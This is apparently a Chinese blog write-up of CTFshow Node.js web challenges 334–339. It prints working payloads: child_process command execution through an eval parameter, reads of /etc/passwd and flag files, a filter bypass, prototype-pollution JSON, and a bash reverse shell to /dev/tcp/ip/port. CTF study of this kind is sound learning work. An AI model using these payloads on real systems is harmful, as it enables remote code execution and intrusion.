[CTFSHOW] nodejs

web 334

下载源码.zip

#user.js
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

代码审计
账号:CTFSHOW
密码:123456

关键

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

只有return 1 => user=1 => 条件成立,才可以弹出flag

var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });

所以账号变为小写ctfshow即可满足条件

web335

?eval=

同样的express框架
输入数字有回显 输入字母返回404 找不到文件
猜测语句是 eval('console.log(xxx)')

关于rce只找到读取文件:

/?eval=res.end(require('fs').readFileSync('/etc/passwd').toString())

nodejs命令执行语句:

语句[1]

#execSync
?eval=require( 'child_process' ).execSync( 'ls' )
?eval=require( 'child_process' ).execSync( 'cat fl00g.txt' )

#spawnSync
?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()

#fs模块读取文件
/?eval=require('fs').readFileSync('fl00g.txt')
/?eval=res.end(require('fs').readFileSync('fl00g.txt').toString())

语句[2]

https://www.jianshu.com/p/e23876358233/

 global.process.mainModule.constructor._load('child_process').exec('calc')

在这里插入图片描述

知识点【1】:

fs模块和child_process模块
fs模块:

可以用来读取文件以及查看目录

const fs = require('fs')

try {
  const data = fs.readFileSync('/Users/joe/test.txt', 'utf8')
  console.log(data)
} catch (err) {
  console.error(err)
}

payload:

/?eval=require('fs').readdirSync('.')  查看当前目录
/?eval=require('fs').readfileSync('fl00g.txt') 读取文件
child_process模块:

child_process:简单来说就可以理解成 具有命令执行的模块

/?eval=require('child_process').execSync('ls')

知识点【2】

在这里插入图片描述

web336

前面的两道exec都tql

判断过滤了exec
在这里插入图片描述语句2

/?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
/?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()

web337

源码:

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

Node中req.params,req.query,req.body三者的区别

payload:

?a[x]=1&b[x]=2

错误解法:
这样传的时候相当于创了个变量a=[1] b=[2]

?a[]=1&b[]=2

a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

结果是1flag{xxx}和2flag{xxx}
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是 [object Object]flag{xxx}
所以md5值也相同

web338

nodejs 污染链

  • 每个构造函数(constructor)都有一个原型对象(prototype)
  • 对象的__proto__属性,指向类的原型对象prototype
  • JavaScript使用prototype链实现继承机制

p神文章学习

在这里插入图片描述
copy相当于merge
req.body就是post参数
secert.ctfshow==='36dboy'

构造

{"__proto__":{"ctfshow":"36dboy"}}

payload:

{"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}}

在这里插入图片描述

web339

api.js
在这里插入图片描述
Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点。
没太理解

预期解
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}
非预期解

Express+lodash+ejs: 从原型链污染到RCE

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值